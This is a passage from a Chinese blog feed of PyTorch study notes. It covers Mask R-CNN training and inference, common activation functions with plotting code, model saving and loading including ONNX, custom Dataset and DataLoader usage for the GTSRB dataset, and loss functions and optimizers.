# 在训练和验证集中拆分数据集
indices = torch.randperm(len(dataset)).tolist()
dataset = torch.utils.data.Subset(dataset, indices[:-50])
dataset_test = torch.utils.data.Subset(dataset_test, indices[-50:])

# 定义训练和验证数据加载器
data_loader = torch.utils.data.DataLoader(
    dataset, batch_size=2, shuffle=True, collate_fn=utils.collate_fn
)

data_loader_test = torch.utils.data.DataLoader(
    dataset_test, batch_size=1, shuffle=False, collate_fn=utils.collate_fn
)

# 获取模型实例，将其移动到设备，并构建优化器
model = get_model_instance_segmentation(num_classes)

model.to(device)

# 构建一个优化器.这里我们使用一个简单的SGD优化器，学习率：0.005，动量：0.9，权重衰减：0.0005
params = [p for p in model.parameters() if p.requires_grad]
optimizer = torch.optim.SGD(params, lr=0.005, momentum=0.9, weight_decay=0.0005)

# 学习率调度器
lr_scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=3, gamma=0.1)

# 训练2个epochs
num_epochs = 10

for epoch in range(num_epochs):

    train_one_epoch(model, optimizer, data_loader, device, epoch, print_freq=10)
    # 更新学习率
    lr_scheduler.step()
    # 在测试集上评估
    evaluate(model, data_loader_test, device=device)

# 保存模型
torch.save(model.state_dict(), "model1.pth")

print("训练完成，模型已保存！")

以上的代码流程图如下所示：

在经过一段时间的训练后，我们就能得到 COCO 风格的 mAP > 50 - 65 的掩码 mAP，并且训练的模型已经保存在 model1.pth 文件中。

测试模型 ​

我们可以使用以下代码来测试模型：

python
import torch
import torchvision
from PIL import Image
import torchvision.transforms as T
import matplotlib.pyplot as plt
import numpy as np
from pylab import mpl


mpl.rcParams["font.sans-serif"] = ["SimHei"]


# 加载模型
def get_model_instance_segmentation(num_classes):
    # 创建一个实例分割模型
    model = torchvision.models.detection.maskrcnn_resnet50_fpn(weights="DEFAULT")
    # 获取分类器的输入特征数
    in_features = model.roi_heads.box_predictor.cls_score.in_features
    # 替换分类器
    model.roi_heads.box_predictor = (
        torchvision.models.detection.faster_rcnn.FastRCNNPredictor(
            in_features, num_classes
        )
    )
    # 获取掩码分类器的输入特征数
    in_features_mask = model.roi_heads.mask_predictor.conv5_mask.in_channels
    hidden_layer = 256
    # 替换掩码预测器
    model.roi_heads.mask_predictor = (
        torchvision.models.detection.mask_rcnn.MaskRCNNPredictor(
            in_features_mask, hidden_layer, num_classes
        )
    )
    return model


# 定义类别数（背景+目标类别）
num_classes = 2

# 加载模型并加载训练好的权重
model = get_model_instance_segmentation(num_classes)
model.load_state_dict(torch.load("model1.pth"))
model.eval()

device = torch.device("cuda") if torch.cuda.is_available() else torch.device("cpu")
model.to(device)

# 加载测试图像
img = Image.open("data/PennFudanPed/PNGImages/PennPed00093.png").convert("RGB")
# 图像预处理
transform = T.Compose(
    [
        T.ToTensor(),
    ]
)

img = transform(img)
img = img.to(device)

# 模型推理
with torch.no_grad():
    prediction = model([img])

# 可视化结果
img = img.cpu().permute(1, 2, 0).numpy()
img_np = img.copy()

plt.figure(figsize=(12, 8))

plt.subplot(1, 2, 1)
plt.imshow(img)
plt.axis("off")
plt.title("原图")

plt.subplot(1, 2, 2)
plt.imshow(img)

# 获取预测结果
boxes = prediction[0]["boxes"].cpu().numpy()
scores = prediction[0]["scores"].cpu().numpy()
masks = prediction[0]["masks"].cpu().numpy()

# 只保留得分高于阈值的预测结果
threshold = 0.5
indices = scores > threshold
boxes = boxes[indices]
masks = masks[indices]

# 在右侧子图上叠加掩码和边界框
for box, mask in zip(boxes, masks):
    x1, y1, x2, y2 = box

    # 叠加掩码（使用红色半透明效果）
    mask = mask[0]
    masked_area = np.zeros_like(img)
    masked_area[:, :, 0] = mask * 1.0
    plt.imshow(masked_area, alpha=0.5, cmap="Reds")

    # 绘制边界框
    plt.gca().add_patch(
        plt.Rectangle(
            (x1, y1), x2 - x1, y2 - y1, linewidth=2, edgecolor="red", facecolor="none"
        )
    )

plt.axis("off")
plt.title("预测结果")
plt.tight_layout()
plt.show()

可以看到，识别结果如下所示：

识别结果 识别结果

]]> wutianli@tianli0.top (Tianli) 学习笔记 <![CDATA[Pytorch 学习笔记6]]> https://blog.tianli0.top/posts/2024/Pytorch6 https://blog.tianli0.top/posts/2024/Pytorch6 Mon, 09 Dec 2024 00:00:00 GMT

本文除参考Pytorch官方文档外，还参考了为神经网络选择正确的激活函数。

通俗地讲，激活函数是一种执行计算以提供可作为下一个神经元输入的输出的函数。理想的激活函数应该使用线性概念处理非线性关系，并且应该是可微的，以减少错误并相应地调整权重。

在开始之前，我们首先来看看激活函数在哪发挥作用。这里我们以一个简单的神经网络为例，该神经网络包含一个输入层、一个隐藏层和一个输出层。

激活函数的意义 ​

激活函数是非线性的函数，其不改变数据的尺寸，但对输入的数据值进行变换。类似人类神经元，当输入电信号达到一定程度则会激活，激活函数对于不同大小的输入，输出值应当可体现激活和抑制的区别，以此来模拟人类神经元的激活过程。

常见的激活函数 ​

激活函数是神经网络的核心组件之一，它们是神经网络的非线性部分。激活函数的作用是将输入信号转换为输出信号。激活函数的主要目的是引入非线性性，使神经网络能够学习复杂的模式。以下是一些常见的激活函数：

ReLU ​

ReLU（Rectified Linear Unit）是一种非常简单的激活函数，它将所有负值都转换为零。ReLU函数的数学表达式如下：

f(x)=max(0,x)

我们调用pytorch中的ReLU函数来实现ReLU激活函数，并绘制其二维坐标轴中的图像。

python
import torch
import torch.nn as nn
import matplotlib.pyplot as plt

# 创建一个输入张量
x = torch.arange(-5, 5, 0.1)

# 创建一个ReLU激活函数
relu = nn.ReLU()

# 计算ReLU激活函数的输出
y = relu(x)

# 绘制ReLU激活函数的图像
plt.plot(x, y)
plt.xlabel('x')
plt.ylabel('ReLU(x)')
plt.title('ReLU Function')
plt.show()

坐标系中的ReLU函数如下图所示：

ReLU函数图 ReLU函数图

ReLU 是一种流行的激活函数，因为它是可微分的和非线性的。如果输入为负，其导数将变为零，这会导致神经元“死亡”，学习不会发生。

但是，ReLU 也有一些缺点。例如，当输入为负时，ReLU 的梯度为零，这可能会导致梯度消失问题。为了解决这个问题，可以使用 Leaky ReLU 或 PReLU。

特点：

  • ReLU函数的发明是深度学习领域的重大突破，可以加速模型的训练过程。

  • ReLU函数是一个非线性函数，可以解决线性模型无法解决的问题。

  • ReLU函数的计算速度快，只需要判断输入是否大于0。

  • ReLU函数存在梯度消失问题，当输入值小于0时，梯度为0，权重无法更新。

  • ReLU函数输出值不是以0为中心的，可能导致梯度更新不稳定。

  • ReLU 函数由两个线性分量组成。因此，ReLU 函数是一个分段线性函数。所以ReLU 函数是一个非线性函数。

  • ReLU 函数的输出值范围是[0, +∞]，输出值不是以0为中心的，可能导致梯度更新不稳定。

用途：

  • ReLU 函数是MLP 和 CNN 神经网络模型中隐藏层的默认激活函数。

  • 我们通常不会在 RNN 模型的隐藏层中使用 ReLU 函数。相反，我们在那里使用 sigmoid 或 tanh 函数。

  • 我们从不在输出层使用 ReLU 函数。

  • ReLU 函数在深度学习模型中的性能非常好，因为它可以加速模型的训练过程。

Leaky ReLU ​

Leaky ReLU 是对 ReLU 的改进，它允许负值的梯度不为零。Leaky ReLU 的数学表达式如下：

f(x)={x,if x>00.01x,otherwise

我们调用pytorch中的LeakyReLU函数来实现Leaky ReLU激活函数，并绘制其二维坐标轴中的图像。

python
import torch
import torch.nn as nn
import matplotlib.pyplot as plt

# 创建一个输入张量
x = torch.arange(-5, 5, 0.1)

# 创建一个Leaky ReLU激活函数
leaky_relu = nn.LeakyReLU(0.01)

# 计算Leaky ReLU激活函数的输出
y = leaky_relu(x)

# 绘制Leaky ReLU激活函数的图像
plt.plot(x, y)
plt.xlabel('x')
plt.ylabel('Leaky ReLU(x)')
plt.title('Leaky ReLU Function')

plt.show()

Leaky ReLU Leaky ReLU

Leaky ReLU 的主要优点是它可以避免梯度消失问题。但是，Leaky ReLU 也有一些缺点，例如它可能会导致梯度爆炸问题。

特点：

  • Leaky ReLU 函数是 ReLU 函数的改进版本，可以避免梯度消失问题。

  • Leaky ReLU 函数是一个非线性函数，可以解决线性模型无法解决的问题。

  • Leaky ReLU 函数的计算速度快，只需要判断输入是否大于0。

  • Leaky ReLU 函数存在梯度消失问题，当输入值小于0时，梯度不为0，权重可以更新。

  • 使用leaky ReLU 的学习过程比默认的 ReLU 更快。

用途：

  • 与 ReLU 函数一致。

Sigmoid ​

Sigmoid 是一种常用的激活函数，它将输入值转换为 0 到 1 之间的值。Sigmoid 函数的数学表达式如下：

f(x)=11+e−x

我们调用pytorch中的Sigmoid函数来实现Sigmoid激活函数，并绘制其二维坐标轴中的图像。

python
import torch
import torch.nn as nn
import matplotlib.pyplot as plt

# 创建一个输入张量
x = torch.arange(-5, 5, 0.1)

# 创建一个Sigmoid激活函数
sigmoid = nn.Sigmoid()

# 计算Sigmoid激活函数的输出
y = sigmoid(x)

# 绘制Sigmoid激活函数的图像
plt.plot(x, y)
plt.xlabel('x')
plt.ylabel('Sigmoid(x)')
plt.title('Sigmoid Function')
plt.show()

Sigmoid Sigmoid

Sigmoid 函数的主要优点是它可以将输入值映射到 0 到 1 之间，这使得它适用于二元分类问题。但是，Sigmoid 函数也有一些缺点，例如它可能会导致梯度消失问题。因为大量输入被输入到神经网络，并且隐藏层的数量增加，梯度或导数变得接近于零，从而导致神经网络不准确。

特点：

  • 类S型函数，输出值范围在0到1之间，可以用作二分类问题的输出层激活函数。

  • 非线性函数，可以解决线性模型无法解决的问题。

  • 容易导致梯度消失，当输入值较大或较小时，梯度接近于0，导致权重无法更新。

  • 对于输入0返回0.5，输出值不是以0为中心的，可以决定给定的输入属于什么类型的两个类。

  • 计算复杂度高，计算指数运算，计算量大。

用途：

  • 早期被用于MLP、CNN等模型的隐藏层激活函数。

  • 构建二进制分类模型的输出层激活函数，输出被解释为类标签。

Tanh ​

Tanh 是另一种常用的激活函数，它将输入值转换为 -1 到 1 之间的值。Tanh 函数的数学表达式如下：

f(x)=ex−e−xex+e−x

我们调用pytorch中的Tanh函数来实现Tanh激活函数，并绘制其二维坐标轴中的图像。

python
import torch
import torch.nn as nn
import matplotlib.pyplot as plt

# 创建一个输入张量
x = torch.arange(-5, 5, 0.1)

# 创建一个Tanh激活函数
tanh = nn.Tanh()

# 计算Tanh激活函数的输出
y = tanh(x)

# 绘制Tanh激活函数的图像
plt.plot(x, y)
plt.xlabel('x')
plt.ylabel('Tanh(x)')
plt.title('Tanh Function')
plt.show()

Tanh Tanh

Tanh 函数的主要优点是它可以将输入值映射到 -1 到 1 之间，这使得它适用于二元分类问题。但是，Tanh 函数也有一些缺点，例如它可能会导致梯度消失问题，而且其计算较慢。

特点：

  • 类S型函数，输出值范围在-1到1之间，可以用作二分类问题的输出层激活函数。

  • 非线性函数，可以解决线性模型无法解决的问题。

  • 与 sigmoid 函数相比，使用 tanh 函数的一个优点是 tanh 函数以零为中心。这使得优化过程更加容易。

  • 比 sigmoid 函数更加陡峭，导数值更大，训练速度更快。

  • tanh 函数存在梯度消失问题。

  • 计算复杂度高，计算指数运算，计算量大。

用途：

  • MLP、CNN等模型的隐藏层激活函数。

  • 通常不在输出层使用tanh函数。

Softmax ​

Softmax 是一种常用的激活函数，它将输入值转换为 0 到 1 之间的概率分布。Softmax 函数的数学表达式如下：

f(xi)=exi∑j=1nexj

其中 xi 是输入向量的第 i 个元素，n 是输入向量的长度。

我们调用pytorch中的Softmax函数来实现Softmax激活函数，并计算其输出。

python
import torch
import torch.nn as nn
import matplotlib.pyplot as plt

# 创建一个输入张量
x = torch.tensor([1.0, 2.0, 3.0])

# 创建一个Softmax激活函数
softmax = nn.Softmax(dim=0)

# 计算Softmax激活函数的输出
y = softmax(x)

# 打印Softmax激活函数的输出
print(y)

Softmax 函数的输出是一个概率分布，其所有元素的和为 1。在上面的示例中，我们创建了一个输入向量 [1.0, 2.0, 3.0]，并使用 Softmax 函数将其转换为概率分布。输出概率分布如下：

python
tensor([0.0900, 0.2447, 0.6652])

Softmax 函数的主要优点是它可以将输入值映射到 0 到 1 之间，并且所有输出值的总和为 1，这使得它适用于多类分类问题。

特点：

  • Softmax 函数是一个非线性函数，可以解决线性模型无法解决的问题。

  • Softmax 函数的输出值范围在0到1之间，所有输出值的总和为1，可以用作多分类问题的输出层激活函数。

  • softmax 函数计算一个事件（类）在 K 个不同事件（类）上的概率值。 它计算每个类别的概率值。 所有概率的总和为 1，这意味着所有事件（类）都是互斥的。

用途：

  • 多分类问题的输出层激活函数。

  • 通常不在隐藏层使用softmax函数。

RReLU ​

RReLU 是对 ReLU 的改进，它引入了一个随机的负斜率。RReLU 的数学表达式如下：

f(x)={x,if x>0αx,otherwise

其中 α 是一个随机的负斜率。

我们调用pytorch中的RReLU函数来实现RReLU激活函数，并绘制其二维坐标轴中的图像。

python
import torch
import torch.nn as nn
import matplotlib.pyplot as plt

# 创建一个输入张量
x = torch.arange(-5, 5, 0.1)

# 创建一个RReLU激活函数
rrelu = nn.RReLU()

# 计算RReLU激活函数的输出
y = rrelu(x)

# 绘制RReLU激活函数的图像
plt.plot(x, y)
plt.xlabel('x')
plt.ylabel('RReLU(x)')

plt.title('RReLU Function')
plt.show()

RReLU RReLU

值得注意的是，当我们调用 RReLU 函数时，它会随机生成一个负斜率。因此，每次调用 RReLU 函数时，输出都会有所不同。

RReLU 函数的主要优点是它可以避免梯度消失问题，并且引入了一个随机的负斜率，这有助于提高模型的泛化能力。

特点：

  • 与 ReLU 函数一致

用途：

  • 与 ReLU 函数一致。

ReLU6 ​

ReLU6 是对 ReLU 的改进，它将所有大于 6 的值都转换为 6。ReLU6 的数学表达式如下：

f(x)=min(max(0,x),6)

我们调用pytorch中的ReLU6函数来实现ReLU6激活函数，并绘制其二维坐标轴中的图像。

python
import torch
import torch.nn as nn
import matplotlib.pyplot as plt

# 创建一个输入张量
x = torch.arange(-5, 10, 0.1)

# 创建一个ReLU6激活函数
relu6 = nn.ReLU6()

# 计算ReLU6激活函数的输出
y = relu6(x)

# 绘制ReLU6激活函数的图像
plt.plot(x, y)
plt.xlabel('x')
plt.ylabel('ReLU6(x)')
plt.title('ReLU6 Function')
plt.show()

ReLU6 ReLU6

ReLU6 函数的主要优点是它可以将所有大于 6 的值都转换为 6，这有助于防止梯度爆炸问题。

特点：

  • ReLU 和 ReLU6 之间的主要区别在于，ReLU 允许正侧的值非常高，而 ReLU6 限制为正侧的值 6。 任何 6 或大于 6 的输入值都将被限制为值 6（因此得名）。

  • ReLU6 函数由三个线性分量组成。它是一个非线性函数。

]]> wutianli@tianli0.top (Tianli) 学习笔记 <![CDATA[Pytorch 学习笔记5]]> https://blog.tianli0.top/posts/2024/Pytorch5 https://blog.tianli0.top/posts/2024/Pytorch5 Fri, 06 Dec 2024 00:00:00 GMT

模型训练完成之后，我们当然需要将模型保存下来，以便后续使用。

在上一章节代码中，我们已经提到了模型的保存与加载，这里我们再详细介绍一下。

模型保存 ​

Pytorch提供了torch.save函数用于保存模型。

python
import torch
import torch.nn as nn

class MyModel(nn.Module):
    def __init__(self):
        super(MyModel, self).__init__()
        self.conv = nn.Conv2d(3, 16, 3, 1, 1)
        self.fc = nn.Linear(16 * 32 * 32, 10)

    def forward(self, x):
        x = self.conv(x)
        x = x.view(x.size(0), -1)
        x = self.fc(x)
        return x

model = MyModel()

# 保存模型
torch.save(model.state_dict(), 'model.pth')

model.state_dict()是一个字典类型，包含了模型的所有参数，torch.save函数将其保存到文件model.pth中。

当然，不止于存储为pytorch的格式，还可以存储为ONNX格式，以便于在其他框架中使用。

ONNX（Open Neural Network Exchange）是一种开放式的文件格式，用于存储和交换训练好的机器学习模型。它使得不同的人工智能框架（如PyTorch、TensorFlow）可以共享模型，促进了模型在不同平台之间的迁移和复用。

对于ONNX格式的模型保存，可以使用torch.onnx.export函数。

python
import torch
import torch.nn as nn

# 保存模型为ONNX格式
dummy_input = torch.randn(1, 3, 32, 32)
torch.onnx.export(model, dummy_input, 'model.onnx')

torch.onnx.export函数将模型保存为ONNX格式，dummy_input是一个输入样本，用于指定输入的形状。

模型加载 ​

Pytorch提供了torch.load函数用于加载模型。

python
import torch
import torch.nn as nn

# 加载模型
model.load_state_dict(torch.load('model.pth'))

torch.load函数将保存的模型参数加载到模型中。

既然能导出为ONNX格式，那么我们也可以加载ONNX格式的模型。

python
import torch
import onnx

# 加载ONNX格式的模型
model = onnx.load('model.onnx')

onnx.load函数将ONNX格式的模型加载到内存中。

]]> wutianli@tianli0.top (Tianli) 学习笔记 <![CDATA[Pytorch 学习笔记3]]> https://blog.tianli0.top/posts/2024/Pytorch3 https://blog.tianli0.top/posts/2024/Pytorch3 Wed, 04 Dec 2024 00:00:00 GMT

AI的一切都是数据驱动的，数据集加载是深度学习的第一步，优质的AI离不开优质的数据集。

数据集是指训练模型的预筛选数据。

Pytorch提供了torch.utils.data.Dataset与torch.utils.data.DataLoader两个类，用于加载数据集。

数据集加载 ​

  • torch.utils.data.Dataset

torch.utils.data.Dataset是一个抽象类，用于表示数据集。用户需要继承Dataset类，并实现__len__与__getitem__两个方法。

python
import torch
from torch.utils.data import Dataset

class MyDataset(Dataset):
    def __init__(self):
        self.data = torch.randn(100, 3, 32, 32)
        self.label = torch.randint(0, 10, (100,))

    def __len__(self):
        return len(self.data)

    def __getitem__(self, index):
        return self.data[index], self.label[index]
  • torch.utils.data.DataLoader

torch.utils.data.DataLoader是一个数据加载器，用于加载数据集。DataLoader可以将数据集分批次加载，以便于训练模型。

python
import torch
from torch.utils.data import DataLoader

dataset = MyDataset()
dataloader = DataLoader(dataset, batch_size=10, shuffle=True)

for data, label in dataloader:
    print(data.shape, label.shape)

使用内置数据集API ​

Pytorch还提供了一些常用的数据集，如torchvision.datasets模块中的MNIST、CIFAR10、CIFAR100等数据集。

Torchvision提供的数据集可查看Torchvision内置数据集

以GTSRB(德国交通标志识别基准 (GTSRB) )数据集为例，加载数据集的代码如下：

python
import torch
from torch.utils.data import Dataset
from torchvision import datasets
from torchvision.transforms import ToTensor
import matplotlib.pyplot as plt


training_data = datasets.GTSRB(
    root="data", split="train", download=True, transform=ToTensor()
)

test_data = datasets.GTSRB(
    root="data", split="test", download=True, transform=ToTensor()
)

在以上代码中，datasets.GTSRB函数用于加载GTSRB数据集，root参数指定数据集的存储路径，split参数指定数据集的类型，download参数指定是否下载数据集，transform参数指定数据集的转换方式，在使用内置数据集时，需参考官方API，部分内置数据集的部分参数可能不同。

使用自定义数据集API ​

在实际应用中，我们使用的数据集可能不是内置数据集，而是自己收集的数据集。此时，我们需要自定义数据集类。

自定义数据集类需要继承torch.utils.data.Dataset类，需要实现__init__、__len__、__getitem__三个方法。

  • __init__方法用于初始化数据集，通常在此方法中加载数据集。

  • __len__方法用于返回数据集的长度。

  • __getitem__方法用于返回数据集中的数据。

以GTSRB数据集为例，其数据集的目录结构如下：

shell
./data/gtsrb
    GTSRB/
        Training/
            00000/
                00000_00000.ppm
                00000_00001.ppm
                ...
                GT-00000.csv
            00001/
                00001_00000.ppm
                00001_00001.ppm
                ...
            ...
        Final_Test/
            Images/
                00000.ppm
                00001.ppm
                ...
                GT-final_test.csv

在以上目录结构中，Training目录下包含了训练数据，Final_Test目录下包含了测试数据，每个类别的数据存储在一个单独的目录中，每个类别的数据包含了一个GT-*.csv文件，该文件包含了数据的标签信息。

csv文件的内容示例如下：

csv
Filename;Width;Height;Roi.X1;Roi.Y1;Roi.X2;Roi.Y2;ClassId
00000_00000.ppm;29;30;5;6;24;25;0

在自定义数据集类中，我们不仅需要加载图片，还需要加载图片的标签信息。自定义数据集类的代码如下：

python
import os
import pandas as pd
from torch.utils.data import Dataset
from torchvision.transforms import ToTensor
from PIL import Image


class GTSRB(Dataset):
    def __init__(self, root, split="train", transform=None):
        self.root = root
        self.split = split
        self.transform = transform
        self.data = []
        self.label = []

        if self.split == "train":
            data_dir = os.path.join(self.root, "GTSRB", "Training")
        elif self.split == "test":
            data_dir = os.path.join(self.root, "GTSRB", "Final_Test", "Images")

        for class_dir in os.listdir(data_dir):
            if not os.path.isdir(os.path.join(data_dir, class_dir)):
                continue

            csv_file = os.path.join(data_dir, class_dir, f"GT-{class_dir}.csv")
            if not os.path.exists(csv_file):
                continue

            df = pd.read_csv(csv_file, delimiter=";")
            for index, row in df.iterrows():
                filename = os.path.join(data_dir, class_dir, row["Filename"])
                label = row["ClassId"]
                self.data.append(filename)
                self.label.append(label)

    def __len__(self):
        return len(self.data)

    def __getitem__(self, index):
        image = Image.open(self.data[index])
        label = self.label[index]

        if self.transform:
            image = self.transform(image)
        else:
            image = ToTensor()(image)

        return image, label


# 随机挑选一张图片进行展示, 以及其对应的标签
import matplotlib.pyplot as plt
import numpy as np
import torch

dataset = GTSRB(root="./data/gtsrb", split="train")
imagePPM, label = dataset[np.random.randint(0, len(dataset))]
image = imagePPM.permute(1, 2, 0).numpy()
plt.imshow(image)
plt.title(f"Label: {label}")
plt.show()

在以上代码中，我们定义了一个GTSRB类，该类继承自torch.utils.data.Dataset类，实现了__init__、__len__、__getitem__三个方法。在__init__方法中，我们加载了GTSRB数据集，并将数据集的路径与标签信息保存在self.data与self.label中。在__getitem__方法中，我们加载了图片，并返回图片与标签信息。

  • __init__

__init__ 函数在实例化 Dataset 对象时运行一次。在这个函数中，我们初始化数据集的路径、数据集的类型、数据集的转换方式，并加载数据集。

python
def __init__(self, root, split="train", transform=None):
    self.root = root
    self.split = split
    self.transform = transform
    self.data = []
    self.label = []

    # 判断数据集的类型并读取对应的数据集
    if self.split == "train":
        data_dir = os.path.join(self.root, "GTSRB", "Training")
    elif self.split == "test":
        data_dir = os.path.join(self.root, "GTSRB", "Final_Test", "Images")

    # 遍历数据集的每个类别
    for class_dir in os.listdir(data_dir):
        # 判断是否为目录
        if not os.path.isdir(os.path.join(data_dir, class_dir)):
            continue

        # 读取类别对应的csv文件
        csv_file = os.path.join(data_dir, class_dir, f"GT-{class_dir}.csv")
        if not os.path.exists(csv_file):
            continue

        # 读取csv文件
        df = pd.read_csv(csv_file, delimiter=";")
        # 遍历csv文件的每一行
        for index, row in df.iterrows():
            # 读取图片的路径与标签信息
            filename = os.path.join(data_dir, class_dir, row["Filename"])
            label = row["ClassId"]
            self.data.append(filename)
            self.label.append(label)
  • __len__

__len__ 函数用于返回数据集的长度，长度即数据集中的样本数量。

python
def __len__(self):
    return len(self.data)
  • __getitem__

__getitem__ 函数用于加载并返回数据集中的数据。在这个函数中，我们加载图片，并返回图片与标签信息。

python
def __getitem__(self, index):
    # 读取图片
    image = Image.open(self.data[index])
    label = self.label[index]

    # 对图片进行转换，如果没有指定转换方式，则使用ToTensor转换
    if self.transform:
        image = self.transform(image)
    else:
        image = ToTensor()(image)

    return image, label

DataLoader进阶 ​

分批加载&重新排列 ​

Dataset一次性获取所有数据，当数据量较大时，可能会导致内存不足。DataLoader可以将数据集分批次加载并重新排列，以便于训练模型。

关键参数可查看官方文档

具体来说，我们可以通过batch_size参数指定每个批次的大小，通过shuffle参数指定是否重新排列数据集。

python
from torch.utils.data import DataLoader

train_dataloader = DataLoader(training_data, batch_size=64, shuffle=True)
test_dataloader = DataLoader(test_data, batch_size=64, shuffle=True)

遍历DataLoader ​

DataLoader是一个可迭代对象，我们可以通过for循环遍历DataLoader，获取每个批次的数据。

python
for data, label in train_dataloader:
    print(data.shape, label.shape)
]]> wutianli@tianli0.top (Tianli) 学习笔记 <![CDATA[Pytorch 学习笔记4]]> https://blog.tianli0.top/posts/2024/Pytorch4 https://blog.tianli0.top/posts/2024/Pytorch4 Wed, 04 Dec 2024 00:00:00 GMT

数据集转换是指将数据集转换为模型可接受的格式，让数据能够被模型所“理解”，而损失函数则是用于评估模型的性能，一般作为负反馈信号，用于指导模型的训练，使模型逐渐收敛到最优解。

数据集转换 ​

以图像分类模型为例，图像数据集一般是RGB格式的图片，但是对于模型来说，图像并不能直接被理解，所以我们需要将图像数据集转换为对应的张量格式，以便于模型的输入。

Pytorch提供了torchvision.transforms模块，用于数据集的转换。此模块支持常见的计算机视觉变换及增强操作，在 Torchvision 0.15 版本中，torchvision.transforms已经发布了v2版本，提供了更多的数据增强方法，并且更快，且向下兼容v1版本。

下面是一个简单的数据集转换示例：

python
import torch
from torchvision import datasets
from torchvision.transforms import ToTensor, Lambda

ds = datasets.FashionMNIST(
    root="data",
    train=True,
    download=True,
    transform=ToTensor(),
    target_transform=Lambda(lambda y: torch.zeros(10, dtype=torch.float).scatter_(0, torch.tensor(y), value=1))
)

  • ToTensor()：将PIL图像或numpy.ndarray转换为张量。

  • Lambda：将目标标签转换为One-Hot编码。

损失函数 ​

以图像分类模型为例，模型的输出是一个概率分布，而真实标签是一个One-Hot编码的向量，我们需要一个损失函数来评估模型的输出与真实标签之间的差异，通过最小化损失函数，使模型逐渐收敛到最优解。

Pytorch提供了torch.nn模块，用于构建神经网络模型，此模块提供了常见的损失函数，如CrossEntropyLoss、MSELoss等。

下面是一个简单的损失函数示例：

python
import torch
import torch.nn as nn

output = torch.randn(10, 5, requires_grad=True)
target = torch.randint(5, (10,), dtype=torch.int64)

criterion = nn.CrossEntropyLoss()
loss = criterion(output, target)

  • CrossEntropyLoss：交叉熵损失函数，用于多分类问题。

  • MSELoss：均方误差损失函数，用于回归问题。

Pytorch提供的损失函数可查看Pytorch损失函数

常见的损失函数 ​

按解决问题的不同，损失函数也有所不同，常见的损失函数有：

  • 分类问题：CrossEntropyLoss、NLLLoss、BCELoss等。

  • 回归问题：MSELoss、L1Loss、SmoothL1Loss等。

  • 对抗生成网络：BCEWithLogitsLoss、HingeEmbeddingLoss、WassersteinLoss等。

  • 强化学习：MSELoss、HuberLoss、KLDivLoss等。

  • 目标检测：SmoothL1Loss、FocalLoss、IoULoss等。

在我们实际开发中，选择合适的损失函数至关重要，以Yolo目标检测算法为例，其损失函数是由均方误差、交叉熵、IoU等多个损失函数组合而成，通过不同的损失函数组合，可以更好地指导模型的训练，提高模型的性能。

优化模型参数 ​

在前面已经实现了数据集的读取和转换，以及损失函数的计算，接下来我们需要优化模型参数，使模型逐渐收敛到最优解。

实际上，训练模型就是不断的迭代，每次迭代都会计算损失函数，并通过优化器来更新模型参数，使损失函数逐渐减小，模型性能逐渐提高。

在前面的代码中，以GTTSRB数据集为例，加载数据集并随机展示的代码如下：

python
import os
import pandas as pd
from torch.utils.data import Dataset
from torchvision.transforms import ToTensor
from PIL import Image


class GTSRB(Dataset):
    def __init__(self, root, split="train", transform=None):
        self.root = root
        self.split = split
        self.transform = transform
        self.data = []
        self.label = []

        if self.split == "train":
            data_dir = os.path.join(self.root, "GTSRB", "Training")
        elif self.split == "test":
            data_dir = os.path.join(self.root, "GTSRB", "Final_Test", "Images")

        for class_dir in os.listdir(data_dir):
            if not os.path.isdir(os.path.join(data_dir, class_dir)):
                continue

            csv_file = os.path.join(data_dir, class_dir, f"GT-{class_dir}.csv")
            if not os.path.exists(csv_file):
                continue

            df = pd.read_csv(csv_file, delimiter=";")
            for index, row in df.iterrows():
                filename = os.path.join(data_dir, class_dir, row["Filename"])
                label = row["ClassId"]
                self.data.append(filename)
                self.label.append(label)

    def __len__(self):
        return len(self.data)

    def __getitem__(self, index):
        image = Image.open(self.data[index])
        label = self.label[index]

        if self.transform:
            image = self.transform(image)
        else:
            image = ToTensor()(image)

        return image, label


# 随机挑选一张图片进行展示, 以及其对应的标签
import matplotlib.pyplot as plt
import numpy as np
import torch

dataset = GTSRB(root="./data/gtsrb", split="train")
imagePPM, label = dataset[np.random.randint(0, len(dataset))]
image = imagePPM.permute(1, 2, 0).numpy()
plt.imshow(image)
plt.title(f"Label: {label}")
plt.show()

在以上代码中，我们定义了一个GTSRB类，该类继承自torch.utils.data.Dataset类，实现了__init__、__len__、__getitem__三个方法。在__init__方法中，我们加载了GTSRB数据集，并将数据集的路径与标签信息保存在self.data与self.label中。在__getitem__方法中，我们加载了图片，并返回图片与标签信息。

接下来，我们先了解一些基础知识，然后再来优化模型参数。

超参数 ​

超参数指的是在模型训练过程中，需要人为设定的参数，如学习率、批大小、迭代次数等。超参数的选择对模型的性能有着重要的影响，合理的超参数选择可以提高模型的性能，加快模型的收敛速度。

超参数注意与模型参数区分开来，模型参数是指模型在训练过程中需要学习的参数，如权重、偏置等。

因此，超参数的选择是一个重要的问题，好在Ray Tune提供了超参数优化的工具，可以帮助我们自动搜索最优的超参数组合，提高模型的性能。

Ray Tune是一个分布式超参数优化库，支持多种深度学习框架，如Pytorch、Tensorflow等。可参考Ray Tune官方文档。这里暂时不做赘述。

在这里，我们主要用到的超参数有：

  • 学习率：学习率是指模型在训练过程中，每次迭代更新参数的步长，学习率过大会导致模型不稳定，学习率过小会导致模型收敛速度慢。

  • 批大小：批大小是指模型在训练过程中，每次迭代所处理的样本数量，批大小过大会导致内存不足，批大小过小会导致模型收敛速度慢。

  • 迭代次数：迭代次数是指模型在训练过程中，总共迭代的次数，迭代次数过少会导致模型欠拟合，迭代次数过多会导致模型过拟合。

python
learning_rate = 0.001
batch_size = 64
epochs = 10

优化循环 ​

在完成超参数设置后，我们需要构建优化循环，即不断迭代计算损失函数，并通过优化器来更新模型参数，使模型逐渐收敛到最优解。

优化循环的每次迭代称为一个时期，每个时期包含以下步骤：

  • 训练循环：计算损失函数，并通过优化器来更新模型参数。

  • 验证/测试循环：计算验证集的损失函数，用于评估模型的性能。

优化器 ​

优化器是用于更新模型参数的算法，常见的优化器有SGD、Adam、RMSprop等。

Pytorch提供了torch.optim模块，用于构建优化器，可查看Pytorch优化器

每一个训练循环需要经过以下步骤：

  • 前向传播：计算模型的输出。

  • 计算损失函数：计算模型输出与真实标签之间的差异。

  • 反向传播：计算损失函数对模型参数的梯度。

  • 更新模型参数：通过优化器来更新模型参数。

以SGD优化器为例，优化循环的代码如下：

python
import torch
import torch.nn as nn
import torch.optim as optim

# 定义模型
model = nn.Linear(784, 10)

# 定义损失函数
